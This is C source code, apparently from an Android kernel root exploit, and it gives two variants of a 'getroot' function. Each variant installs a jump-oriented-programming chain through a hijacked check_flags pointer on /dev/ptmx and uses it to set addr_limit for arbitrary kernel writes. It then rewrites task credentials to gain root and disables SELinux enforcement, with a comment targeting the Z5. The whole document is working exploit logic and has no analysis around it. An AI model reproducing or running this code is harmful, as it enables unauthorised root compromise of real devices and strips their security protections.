int getroot(struct offsets* o) { int ret = 1; int dev; unsigned long fp; struct thread_info* ti; void* jopdata; if((jopdata = mmap((void*)((unsigned long)MMAP_ADDR + MMAP_SIZE), PAGE_SIZE, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0)) == (void*)-1) return -ENOMEM; printf("[+] Installing JOP\n"); if(write_at_address(o->check_flags, (unsigned long)o->joploc)) goto end2; sidtab = o->sidtab; policydb = o->policydb; preparejop(jopdata, o->jopret); if((dev = open("/dev/ptmx", O_RDWR)) < 0) goto end2; //we only get the lower 32bit because the return of fcntl is int fp = (unsigned)fcntl(dev, F_SETFL, jopdata); fp += KERNEL_START; ti = get_thread_info(fp); printf("[+] Patching addr_limit\n"); if(write_at_address(&ti->addr_limit, -1)) goto end; printf("[+] Removing JOP\n"); if(writel_at_address_pipe(o->check_flags, 0)) goto end; if((ret = modify_task_cred_uc(ti))) goto end; //Z5 has domain auto trans from init to init_shell (restricted) so disable selinux completely { int zero = 0; if(o->selinux_enabled) write_at_address_pipe(o->selinux_enabled, &zero, sizeof(zero)); if(o->selinux_enforcing) write_at_address_pipe(o->selinux_enforcing, &zero, sizeof(zero)); } ret = 0; end: close(dev); end2: munmap(jopdata, PAGE_SIZE); return ret; }
int getroot(struct offsets* o) { int ret = 1; int dev; long fp; struct thread_info* ti; printf("[+] Installing JOP\n"); if(write_at_address(o->check_flags, (long)o->joploc)) return 1; sidtab = o->sidtab; policydb = o->policydb; preparejop(MMAP_START, o->jopret); if((dev = open("/dev/ptmx", O_RDWR)) < 0) return 1; fp = fcntl(dev, F_SETFL, MMAP_START) - 0x78;//0x78 -> see JOP in getroot.c fp += KERNEL_START; ti = get_thread_info(fp); printf("[+] Patching addr_limit\n"); if(write_at_address(&ti->addr_limit, -1)) goto end; printf("[+] Removing JOP\n"); if(writel_at_address_pipe(o->check_flags, 0)) goto end; if((ret = modify_task_cred_uc(ti))) goto end; //Z5 has domain auto trans from init to init_shell (restricted) so disable selinux completely { int zero = 0; if(o->selinux_enabled) write_at_address_pipe(o->selinux_enabled, &zero, sizeof(zero)); if(o->selinux_enforcing) write_at_address_pipe(o->selinux_enforcing, &zero, sizeof(zero)); } ret = 0; end: close(dev); return ret; }